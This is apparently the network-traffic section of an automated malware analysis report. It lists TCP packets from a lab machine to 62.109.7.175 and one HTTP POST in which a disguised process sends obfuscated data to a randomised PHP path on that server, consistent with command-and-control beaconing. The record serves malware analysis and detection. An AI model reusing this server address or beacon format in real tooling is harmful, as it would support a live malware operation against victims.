Apr 2, 2024 23:43:45.395004988 CEST	49828	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:45.471287966 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:45.754764080 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:45.757328033 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:45.757509947 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.040929079 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.041281939 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.041500092 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.325057030 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.332088947 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.379405975 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.454497099 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.454732895 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.737231016 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.737895012 CEST	80	49829	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:46.738085985 CEST	49829	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.738116980 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:46.738323927 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.020607948 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.021035910 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.021454096 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.307647943 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.314625025 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.363749027 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.438246965 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.438533068 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.717724085 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.717822075 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.717983961 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.720695972 CEST	80	49830	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.720771074 CEST	49830	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:47.997813940 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.998214960 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:47.998394966 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.277889013 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.283857107 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.332520962 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.407275915 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.407489061 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.684838057 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.685293913 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.685424089 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.686717033 CEST	80	49831	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.687279940 CEST	49831	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.962682962 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.963079929 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:48.963304996 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.989520073 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:48.989567041 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.112649918 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.242501020 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.251622915 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.251673937 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.266796112 CEST	80	49832	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.267293930 CEST	49832	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.271223068 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.271322012 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.271473885 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.397474051 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.399350882 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.399516106 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.553282022 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.553580999 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.553900003 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.684135914 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.684576988 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.684864998 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.835771084 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.842076063 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.895049095 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:49.969711065 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:49.976154089 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.020030022 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.094918966 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.094934940 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.095319033 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.357817888 CEST	80	49828	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.357881069 CEST	49828	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.377048969 CEST	80	49833	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.377104998 CEST	49833	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.377152920 CEST	80	49835	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.377285957 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.377434969 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.380089998 CEST	80	49834	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.380148888 CEST	49834	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.659472942 CEST	80	49835	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.659492016 CEST	80	49835	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.659784079 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:50.941812038 CEST	80	49835	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.947632074 CEST	80	49835	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:50.988750935 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:51.062326908 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:51.345186949 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:51.347562075 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:51.347758055 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:51.630441904 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:51.630845070 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:51.631031036 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:51.913815022 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:51.919606924 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:51.973135948 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.048199892 CEST	49835	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.048501968 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.048774958 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.324736118 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.324831963 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.324990034 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.331398010 CEST	80	49836	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.331454992 CEST	49836	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.601002932 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.601281881 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.601492882 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:52.877635002 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.877846003 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.883327007 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:52.926276922 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.011640072 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.012253046 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.287960052 CEST	80	49837	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.291004896 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.291075945 CEST	49837	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.291125059 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.291282892 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.569977045 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.570405006 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.570580006 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.849595070 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.855355978 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:53.910620928 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.983414888 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:53.983618021 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.262806892 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.262844086 CEST	80	49838	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.262877941 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.262906075 CEST	49838	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.263046026 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.541217089 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.541485071 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.541661024 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.819919109 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.826231003 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:54.848898888 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.849150896 CEST	49840	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:54.954786062 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.133224010 CEST	80	49839	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.133311033 CEST	49839	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.138632059 CEST	80	49840	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.138691902 CEST	49840	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.232508898 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.232680082 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.233894110 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.511661053 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.511956930 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.512131929 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.789932966 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.796628952 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:55.848179102 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.921892881 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:55.922171116 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.199655056 CEST	80	49841	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.199717045 CEST	49841	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.204562902 CEST	80	49842	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.204638004 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.204808950 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.486918926 CEST	80	49842	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.487190008 CEST	80	49842	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.487463951 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.769845963 CEST	80	49842	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.776308060 CEST	80	49842	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:56.816884995 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:56.892007113 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.174223900 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:57.177424908 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.177515030 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.459688902 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:57.459712982 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:57.459887981 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.741935015 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:57.747417927 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:57.801269054 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.862322092 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:57.862633944 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.144450903 CEST	80	49843	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.146334887 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.146531105 CEST	49843	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.146554947 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.146615982 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.431044102 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.431370974 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.431664944 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.716229916 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.721801043 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:58.770199060 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.844062090 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:58.844269037 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:59.124866962 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.125494957 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:59.125809908 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:59.127806902 CEST	80	49844	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.127868891 CEST	49844	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:59.407540083 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.407584906 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.407747984 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:59.688937902 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.695396900 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:59.738775015 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:00.808942080 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:00.809360027 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.042541027 CEST	49842	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.056085110 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.089838028 CEST	80	49845	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.089919090 CEST	49845	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.091456890 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.091514111 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.091711044 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.338252068 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.339457989 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.339602947 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.373752117 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.373961926 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.374223948 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.621891022 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.621917963 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.622070074 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.656265974 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.662559986 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.663178921 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.707596064 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.904278994 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.909955025 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.911783934 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:01.945319891 CEST	80	49847	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:01.947280884 CEST	49847	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:06.668081045 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:06.668138027 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.073389053 CEST	49846	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.073704958 CEST	49848	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.351560116 CEST	80	49848	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.351687908 CEST	49848	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.351800919 CEST	49848	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.355602026 CEST	80	49846	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.629483938 CEST	80	49848	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.629692078 CEST	80	49848	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.629829884 CEST	49848	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:44:23.907542944 CEST	80	49848	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.913727045 CEST	80	49848	62.109.7.175	192.168.2.4
Apr 2, 2024 23:44:23.957544088 CEST	49848	80	192.168.2.4	62.109.7.175

HTTP Request Dependency Graph

62.109.7.175

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:25.251509905 CEST	503	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:25.534643888 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:25.536099911 CEST	344	OUT	Data Raw: 00 07 04 06 06 00 01 04 05 06 02 01 02 07 01 07 00 03 05 0b 02 03 03 0d 07 05 0e 03 04 04 06 08 0d 00 05 08 00 0d 05 01 0c 50 05 57 04 03 07 55 05 00 0f 01 0d 01 01 0b 04 01 06 51 04 50 04 0f 03 02 0f 59 06 07 04 56 0f 57 0e 55 0a 0c 0c 56 04 04 Data Ascii: PWUQPYVWUVRRR\L}PhNrMc[v\vv`@hRTY`U`clx\|^XoYfI\|ChNvg]^e~V@A{}vL~Le
Apr 2, 2024 23:42:25.926016092 CEST	1286	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1376 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7e 4d 6f 54 7f 4a 78 72 52 46 7f 71 73 06 7c 64 6f 0a 68 60 75 09 7a 73 5a 05 7e 5c 67 5a 77 5d 71 0b 79 58 79 4a 75 48 64 02 69 5b 78 01 55 4b 71 09 74 5c 70 5a 7c 71 69 00 7f 59 58 40 6c 58 5a 0d 7c 63 74 58 75 61 7d 06 63 62 7e 58 68 4f 6a 4b 7f 7c 59 52 6a 77 70 5e 76 4c 7b 06 7c 5c 6e 5c 7c 60 6e 59 6c 64 68 4e 79 67 6f 58 78 43 74 5c 6e 4c 52 48 6c 05 7e 4f 7d 63 7f 5e 79 67 60 4a 7d 5b 6c 5c 75 61 5d 5b 7a 51 41 5b 7c 59 7b 53 7c 61 7a 54 75 6c 55 5c 78 7c 6b 5c 74 4e 7d 54 7a 71 5f 47 7d 0a 76 4f 78 07 76 4b 61 60 6f 00 76 62 70 41 63 61 76 50 7e 5d 79 5f 77 71 7d 07 61 66 63 50 7e 7c 65 07 77 6f 70 04 68 63 6c 00 78 6f 64 5a 6c 4e 66 03 7c 6d 6c 08 74 59 6c 03 7e 62 72 09 69 54 6f 0a 6f 7d 75 5b 69 4c 6a 5b 7b 5d 46 51 6b 55 6b 54 7e 63 60 4f 6a 5e 79 5c 7b 7d 59 4a 6f 04 68 48 6b 61 55 00 7d 59 78 52 7f 73 75 0c 7b 73 5a 06 7e 4c 6c 46 63 73 75 51 7b 5c 79 06 76 58 52 4a 7e 66 56 40 7e 58 5f 0a 74 72 7f 03 7f 72 75 4c 7c 49 72 0b 78 48 78 0a 7d 73 73 49 76 5c 6d 02 74 71 53 47 7e 61 6a 00 7e 52 6c 40 7d 59 55 02 75 4f 55 04 7b 4c 5b 49 7e 60 5f 03 79 77 68 06 79 67 70 06 7b 7d 6b 46 7a 5c 7c 04 7a 63 50 41 7c 70 7c 4b 79 67 70 07 7e 4c 63 4f 75 4f 64 47 7c 6c 7f 03 7d 77 60 41 7f 61 7d 0a 76 6c 6c 4f 78 52 64 03 77 60 54 40 79 61 53 00 7c 7c 7e 05 78 5f 58 03 77 63 63 44 76 71 64 4e 74 4f 62 0b 7c 70 58 4d 77 4c 79 06 77 65 68 0a 7c 6c 5b 06 77 6c 5a 01 7c 4d 70 01 7b 42 7b 4a 78 4e 7a 44 7c 53 7c 41 77 67 7c 4c 7f 72 5c 0b 7d 6d 5d 0a 7b 6d 72 4f 7e 4c 71 40 7f 4e 70 0a 7f 7c 5a 0c 7d 70 56 42 7e 67 7e 4e 7b 43 59 44 78 62 74 48 7f 71 59 03 7c 77 77 08 7e 60 53 41 7a 5d 68 06 7e 4c 60 02 77 73 79 09 79 61 7d 01 75 66 7c 48 7d 76 60 4d 7e 66 5f 09 77 5c 55 00 7c 72 57 07 7f 59 72 08 79 66 60 08 7c 63 7b 48 75 72 53 04 74 4f 6d 00 7f 4f 62 04 7f 7c 78 0a 7f 77 59 00 76 61 7b 4a 78 72 7d 04 7c 60 7d 02 7b 67 52 05 79 77 74 01 78 7d 67 01 7a 5c 6c 4b 78 4d 72 02 7b 5d 4e 5a 6c 77 5d 58 7c 62 51 40 76 5f 78 00 7c 7c 67 03 7f 49 5d 54 7f 62 61 09 76 52 55 5f 6f 6f 7b 5c 63 70 66 0b 6d 5f 7e 59 69 7c 7a 5f 7a 5c 79 05 5c 07 0f 7d 62 60 67 7b 5a 4c 7e 4a 78 59 7e 07 63 61 71 4d 61 66 68 40 7e 6c 71 04 60 55 77 5c 68 5a 6c 44 79 6f 7f 01 6c 60 72 4a 7c 7e 6f 54 63 64 70 03 7f 62 72 4f 7a 53 59 51 60 0b 61 5c 54 6e 7a 5b 61 7c 63 08 51 70 6f 4e 6a 73 77 08 69 64 71 43 54 6e 60 5a 60 04 08 48 6b 7d 70 4a 69 6b 78 42 78 5d 47 51 79 5d 55 5f 7e 4c 5d 58 63 73 6a 51 7b 71 58 5e 76 00 60 00 7e 5f 67 5f 7f 75 71 40 63 62 60 5f 7f 71 66 5d 7d 77 61 54 78 48 5e 51 7c 59 41 59 62 04 6e 40 5a 72 40 01 6b 07 5f 44 68 0b 7f 55 53 6b 64 5f 5b 06 63 59 7a 5f 71 48 7e 70 71 46 7b 67 70 01 7a 59 7c 04 7b 50 06 48 7a 4c 70 58 79 74 7d 58 68 63 00 44 54 7b 63 5d 52 61 03 51 61 07 59 00 56 6b 7f 04 7b 58 00 48 6b 62 05 49 71 51 4e 5f 6f 0a 67 47 5a 73 4f 08 6e 07 58 45 6b 0b 79 5a 6f 07 5f 47 5a 5e 7f 05 71 5e 6f 45 5b 06 7d 49 6b 73 76 5e 75 75 72 5b 62 66 00 4f 53 70 66 5b 58 6f 0c 53 52 5a 6f 5d 57 6f 0f 47 64 06 0a 58 68 6a 70 0f 70 58 63 7b 79 5f 40 51 69 0b 60 4e 56 7e 4f 07 6a 04 5c 42 6a 07 7b 54 68 0a 55 4f 52 5f 04 50 51 64 62 5d 7a 50 78 74 54 71 08 48 50 62 60 5b 7a 5a 41 51 6b 06 66 4e 57 70 41 04 6a 04 59 44 61 Data Ascii: 